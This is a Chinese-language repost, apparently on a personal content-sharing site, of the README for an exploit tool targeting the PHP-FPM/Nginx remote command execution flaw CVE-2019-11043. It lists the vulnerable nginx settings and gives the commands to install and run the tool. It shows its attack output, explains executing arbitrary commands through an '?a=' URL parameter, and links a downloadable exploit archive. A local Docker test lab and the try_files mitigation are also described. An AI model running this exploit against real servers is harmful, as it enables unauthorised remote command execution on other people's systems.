分享

PHP-FPM Nginx - 远程命令执行

 昆仑圃 2019-11-02

介是php-fpm (CVE-2019-11043)的一个漏洞利用,在某种配置下,nginx+php-fpm的框架里,这个漏洞可以由外界触发。这就意味着,一个网页用户可能对这种配置的服务器实施远程命令执行攻击。(有前提条件,看下文)

###这是啥漏洞

如果一个网站服务器运行着nginx+php-fpm,然后还有类似下面的配置:







location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ...}

而且,也没有任何脚本是否存在的检测(例如 `try_files`),那么,用这个工具你可能能黑掉有问题的机器。

###完整的前提条件列表


1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)`必须导向到php-fpm(可能正则表达式会 更严格)

2.`fastcgi_split_path_info`指令必须存在并且包含一个以 `^` 开头且以 `$`结尾的正则表达式,这我们就可以用一个新行的字符来突破它。

3.必须通过`fastcgi_param PATH_INFO $fastcgi_path_info;`语句指定一个`PATH_INFO`变量。刚开始我们以为这一直都存在于`fastcgi_params`文件里,但这是错误的。

4.不能有任何文件存在性检测,例如`try_files $uri =404` 或者 `if (-f $uri)`。如果Nginx在FastCGI转发前把请求丢给了不存在的脚本,我们的请求就永远到不了php-fpm,加上这个也是修补这个漏洞的最简单方案。

5.这个利用只对PHP 7+有效,但是这个漏洞也存在于更早的版本。(看下面的关于php5)

###这难道不是几年前就已知的漏洞了吗?

很久之前,php-fpm是不约束脚本的扩展名的,就是说形如`/avatar.png/some-fake-shit.php`的文件,php-fpm会把`avatar.png`当做php文件来执行,这个问题在2010年左右就被修复了。

现在这个漏洞不依赖文件上传,在当前的大多数版本都能利用(直到补丁被打上)。更重要的是,这个利用更酷剌。

###咋运行

安装


go get github.com/neex/phuip-fpizdam

如果出现一些奇奇怪怪的编译错误,先确保你的go版本要大于等于1.13。以下面的命令执行:


phuip-fpizdam [url]

(假设你已经把 `$GOPATH/bin`变量丢到`$PATH`里去了,否则,要把路径打全),类似下面的输出就是正常了:













```2019/10/01 02:46:15 Base status code is 2002019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect2019/10/01 02:46:16 Trying to set 'session.auto_start=0'...2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS2019/10/01 02:46:16 Performing attack using php.ini settings...2019/10/01 02:46:40 Success! Was able to execute a command by appending '?a=/bin/sh+-c+'which+which'&' to URLs2019/10/01 02:46:40 Trying to cleanup /tmp/a...2019/10/01 02:46:40 Done!```

这之后呢,你就可以在任意的php url后面,添加`?a=<your command>`来执行远程代码了。(你可能需要多试几次才行)

###游乐场环境

如果你想重现这个问题或者想在本地玩玩这个漏洞利用,介样来:

1.克隆这个项目然后到reproducer目录

2.创建docker镜像:`docker build -t reproduce-cve-2019-11043 .`,这需要等比较长的时间,因为它默默地把php的项目克隆回来并且还要编译。然鹅,如果你想debug这个利用代码,上述步骤会让你更省力。这个被修订过的编译是刚好没被修补的版本。

3.启动一个docker 实例`docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.

4.现在你可以访问http://127.0.0.1:8080/script.php了,这目前是一个空文件。

5.运行利用程序:

`phuip-fpizdam http://127.0.0.1:8080/script.php`

6.如果一切顺利,你就可以这样构造url来执行远程命令了。

  http://127.0.0.1:8080/script.php?a=id

  多试几次,因为只有部分php-fpm的worker进程受影响而已。

###关于PHP5

 这个缓冲区下溢出漏洞也同样存在于PHP5,。然而呢,我们这个漏洞利用需要用到一个保存FastCGI变量的优化, [_fcgi_data_seg]。这个优化只存在于php7,所以这次特别的漏洞利用只能在php7上运行。但可能有别的利用技术可以在php5上运行呢。。。

###申明

最开始的异常现象是由[d90pwn]在“真实世界CTF”大赛中发现的。根本问题是(Emil Lerner)发现的,还有设置php.ini参数的方式。最终的php.ini参数集是由[beched]发现的。

最后,下载:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47553.zip

参考:github.com/neex/phuip-fpizdam


HackerHub发布 | 转载请注明出处

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多